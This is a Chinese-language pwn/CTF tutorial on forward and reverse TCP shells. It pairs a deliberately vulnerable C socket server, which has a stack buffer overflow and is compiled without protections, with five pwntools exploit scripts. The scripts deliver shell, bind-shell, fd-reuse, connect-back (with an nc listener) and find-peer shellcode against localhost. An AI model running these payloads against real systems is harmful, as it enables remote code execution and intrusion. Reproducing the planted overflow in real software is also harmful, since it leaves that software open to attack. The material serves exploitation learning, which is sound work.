深入理解pwn题中的正连/反连tcp

编译漏洞源码

以下源码来自老板娘 。通过了解socket编程一文让你透彻理解Linux的SOCKET编程(含实例解析),很明显可以看出,该服务器程序有个栈溢出漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<unistd.h>
#include<sys/socket.h>
#include<arpa/inet.h>

int main(int argc,char **argv){
int jmp = 0xe4ff;
int sckfd,fd;
char buf[10];
struct sockaddr_in server;
sckfd = socket(AF_INET,SOCK_STREAM,0);
server.sin_family = AF_INET;
server.sin_port = htons(8888);
server.sin_addr.s_addr = inet_addr("0.0.0.0");
bind(sckfd,(struct sockaddr *)&server,sizeof(server));
listen(sckfd,10);
fd = accept(sckfd,NULL,NULL);
read(fd,buf,1000);

return 0;
}

编译命令:

1
gcc server1.c -fno-stack-protector -no-pie -z execstack -o server1

五种getshell的方式

我们通过pwntools提供的shellcraft来完成本题的利用。(通过该方式生成的shellcode中含”\x00”,在真实世界的利用中如遇到strcpy这种函数,将利用不成功)

sh()

exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = 'a'*30
payload += p64(0x4006B9)
payload += asm(shellcraft.sh())

pr.sendline(payload)
pr.interactive()

攻击后,server1进程和攻击者进程的连接情况,及/proc/self/fd下的指向如下图所示:

可以看到,server1进程(PID:18662),其fd的0 1 2 都是指向”/dev/pts/1”,表明标准输入、输出、错误都是打印到当前terminal或者从当前terminal获取的。

此时我们在python起的terminal中是无法拿到server1进程起的shell的,除非我们在执行execve(“/bin/sh”)之前将0 1 2 替换成socket连接,将输入输出定向到socket。这是接下来几种方法要讲的。

bindsh() - 正连

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = 'a'*30
payload += p64(0x4006B9)
payload += asm(shellcraft.bindsh(4444,'ipv4'))

pr.sendline(payload)

ff = remote('127.0.0.1',4444)
ff.interactive()

exp执行后的情况如下:

这个方法是在server1中通过socket()–>bind()–>listen()–>accept()创建一个新的socket监听端口,然后把server1的fd中 0 1 2全部指向新socket。这样接下来执行execve()后,输入输出就全定向到新socket流中。攻击进程主动向受害者进程的4444端口发起连接,就可以拿到受害者的输入输出,从而获得shell。

dupsh()

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = 'a'*30
payload += p64(0x4006B9)
payload += asm(shellcraft.dupsh(4))

pr.sendline(payload)
pr.interactive()

这种方法复用了攻击进程与server1建立的socket连接,本题中对于server1进程来说正好是fd=4。

connect()+dupsh() - 反连

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = 'a'*30
payload += p64(0x4006B9)
payload += asm(shellcraft.connect('127.0.0.1',4444,'ipv4')+shellcraft.dupsh())

pr.sendline(payload)
pr.interactive()

在执行攻击代码前,需要先开一个terminal,用nc监听4444端口,等待server1的连接:

1
nc -l -p 4444

本方法是利用server1主动去connect我们监听的端口,建立socket连接,并用这个socket去覆盖原本的 0 1 2,达到将输出定向到远端的目的。

findpeersh()

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = 'a'*30
payload += p64(0x4006B9)
payload += asm(shellcraft.findpeersh(pr.lport))

pr.sendline(payload)
pr.interactive()

本方法是在server1进程中寻找与pr.lport端口有连接的socket,并覆盖原来fd的0 1 2。攻击进程中成功拿到shell时的连接情况如下: